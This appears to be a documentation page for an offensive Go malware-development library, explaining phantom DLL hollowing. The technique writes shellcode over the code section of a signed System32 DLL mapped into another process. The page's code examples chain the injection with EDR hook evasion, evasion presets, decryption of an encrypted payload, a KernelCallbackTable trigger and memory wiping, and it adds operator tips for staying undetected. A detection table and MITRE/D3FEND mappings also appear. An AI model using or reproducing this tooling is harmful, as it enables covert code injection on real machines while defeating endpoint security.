Phantom DLL hollowing
← injection index · docs/index
TL;DR
Cross-process module stomping: open a real System32 DLL, build a
SEC_IMAGE section from it, map the section into the target so the
kernel records the mapping as a legitimate signed image, then overwrite
the .text of the remote view with shellcode. Memory scanners see a
file-backed amsi.dll mapping; the bytes are the implant's. Optionally
routes the open through evasion/stealthopen
to dodge path-based file hooks.
Primer
Module stomping (local) gives an RX region that
the OS reports as a legitimate signed image — but only inside the
implant's own process. Phantom DLL hollowing extends the same idea
across a process boundary by combining NtCreateSection(SEC_IMAGE)
with NtMapViewOfSection into the target.
The kernel insists that SEC_IMAGE sections be backed by an Authenticode-
signed file; the implant uses a real System32 DLL (amsi.dll,
msftedit.dll, …) so the signature check passes. The same pages are
then overwritten in the target's view: read the on-disk DLL to
locate the .text RVA, flip the remote section to RW with
VirtualProtectEx, write the shellcode, flip back to RX. The remote
process now has an amsi.dll mapping whose code segment is the implant.
EDR memory scanners that key on "is this image-backed and signed?" report green. Defenders that compare in-memory bytes against the on-disk copy see the divergence.
How it works
sequenceDiagram
participant Impl as "Implant"
participant Open as "stealthopen.Opener (optional)"
participant Kern as "Kernel"
participant Tgt as "Target"
Impl->>Open: open amsi.dll
Open-->>Impl: hFile
Impl->>Kern: NtCreateSection(SEC_IMAGE, hFile)
Kern->>Kern: Authenticode validation
Kern-->>Impl: hSection (image-backed)
Impl->>Kern: NtMapViewOfSection(target, RX)
Kern->>Tgt: legitimate amsi.dll image mapped
Kern-->>Impl: remoteBase
Impl->>Impl: parse local copy of amsi.dll PE → text RVA, size
Impl->>Kern: NtProtectVirtualMemory(target, .text → RW)
Impl->>Kern: NtWriteVirtualMemory(target, .text ← shellcode)
Impl->>Kern: NtProtectVirtualMemory(target, .text → RX)
Steps:
- Open the cover DLL (default
amsi.dll). When anOpeneris supplied, the open routes through file-ID handles rather than a path-basedCreateFile, defeating EDR file-IO hooks that key on path strings. NtCreateSection(SEC_IMAGE)— kernel validates and builds a signed image section.NtMapViewOfSectioninto the target withPAGE_EXECUTE_READWRITE.- Parse the cover DLL's PE headers in the implant to locate the
.textRVA and size. - Flip + write + flip back the target's
.textviaVirtualProtectEx+WriteProcessMemory+VirtualProtectEx. - (Caller's responsibility) trigger the shellcode in the target —
KernelCallbackExec,SectionMapInject-paired thread, callback APC.
API Reference
inject.PhantomDLLInject(pid int, dllName string, shellcode []byte, opener stealthopen.Opener) error
Inject shellcode into pid's address space, masquerading as the
loaded image of dllName.
Parameters:
pid— target. NeedsPROCESS_VM_OPERATION,PROCESS_VM_WRITE,PROCESS_QUERY_INFORMATION.dllName— System32 leaf (e.g."amsi.dll"). The package resolves to the absolute path under%SystemRoot%\System32\if no path is given.shellcode— bytes to write over.text. Must be ≤ the cover DLL's.textsize.opener— optionalstealthopen.Opener. Routes both the PE-parse read and theNtCreateSectionhandle through file-ID-based opens, bypassing path-based file-IO hooks. Passnilfor the path-based default.
Returns: error — wraps file-open / NtCreateSection /
NtMapViewOfSection / WriteProcessMemory / VirtualProtectEx
failures. Reports if the shellcode exceeds the cover DLL's .text.
Side effects: maps a SEC_IMAGE section into the target. The
mapping persists until the target exits.
OPSEC: does not trigger — caller must run the shellcode (e.g.
KernelCallbackExec, an APC, a thread).
Examples
Simple
import "github.com/oioio-space/maldev/inject"
if err := inject.PhantomDLLInject(targetPID, "amsi.dll", shellcode, nil); err != nil {
return err
}
// caller now triggers the shellcode separately.
Composed (stealthopen for the file open)
Defeat path-based EDR file hooks on amsi.dll:
import (
"os"
"path/filepath"
"github.com/oioio-space/maldev/evasion/stealthopen"
"github.com/oioio-space/maldev/inject"
)
sys32 := filepath.Join(os.Getenv("SYSTEMROOT"), "System32")
opener, _ := stealthopen.New(filepath.Join(sys32, "amsi.dll"))
defer opener.Close()
return inject.PhantomDLLInject(targetPID, "amsi.dll", shellcode, opener)
Advanced (phantom + KCT trigger)
End-to-end placement + execution:
import (
"github.com/oioio-space/maldev/inject"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
if err := inject.PhantomDLLInject(targetPID, "msftedit.dll", shellcode, nil); err != nil {
return err
}
caller := wsyscall.New(wsyscall.MethodIndirect, nil)
return inject.KernelCallbackExec(targetPID, shellcode, caller)
Complex (decrypt + stealthopen + phantom + trigger + wipe)
import (
"os"
"path/filepath"
"github.com/oioio-space/maldev/cleanup/memory"
"github.com/oioio-space/maldev/crypto"
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/preset"
"github.com/oioio-space/maldev/evasion/stealthopen"
"github.com/oioio-space/maldev/inject"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
caller := wsyscall.New(wsyscall.MethodIndirect, nil)
_ = evasion.ApplyAll(preset.Stealth(), caller)
shellcode, err := crypto.DecryptAESGCM(aesKey, encrypted)
if err != nil { return err }
memory.SecureZero(aesKey)
sys32 := filepath.Join(os.Getenv("SYSTEMROOT"), "System32")
opener, _ := stealthopen.New(filepath.Join(sys32, "amsi.dll"))
defer opener.Close()
if err := inject.PhantomDLLInject(targetPID, "amsi.dll", shellcode, opener); err != nil {
return err
}
memory.SecureZero(shellcode)
return inject.KernelCallbackExec(targetPID, shellcode, caller)
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
SEC_IMAGE section in a target backed by a DLL the target does not import | Sysmon Event 7 (ImageLoad) — anomaly when the host process does not depend on the cover DLL |
In-memory .text mismatch with the on-disk DLL | Image-integrity scanners — strong, slow detector |
Cross-process WriteProcessMemory to an image's .text | EDR userland hooks + ETW-Ti WriteVirtualMemory |
VirtualProtectEx flip on a loaded image | EDR allocation-protect telemetry |
D3FEND counters:
Hardening for the operator: route the file open through
stealthopen; pick a cover DLL that the
target is unlikely to actually import (so the load looks load-but-unused
rather than overlapping legitimate use); pair with ntdll unhooking.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1055.001 | Process Injection: DLL Injection | image-backed cross-process variant | D3-PCSV |
| T1574.002 | Hijack Execution Flow: DLL Side-Loading | adjacent — phantom DLL imitates side-loading without actual hijack | D3-SICA |
Limitations
WriteProcessMemorystill fires. The technique avoids the allocation anomaly (image-backed instead of heap), not the cross-process write itself.- Non-trigger.
PhantomDLLInjectonly places the shellcode. The caller picks the trigger (KernelCallbackExec, APC, thread). - Cover DLL must not be already loaded with dependencies in target.
If
amsi.dllis already mapped because AMSI is in use, the newSEC_IMAGEmapping conflicts. Pick a DLL the target does not load (verify via Process Explorer first). - Image-diff defeats it. Defenders that compare loaded
.textagainst the on-disk DLL win.
See also
- Module Stomping — local, in-process variant of the same technique.
- Section Mapping — non-image-backed cross-process placement.
- KernelCallbackTable — the canonical
trigger paired with
PhantomDLLInject. evasion/stealthopen— defeat path-based file-IO hooks on the cover DLL open.- Forrest Orr, Phantom DLL Hollowing, 2020 — original public write-up.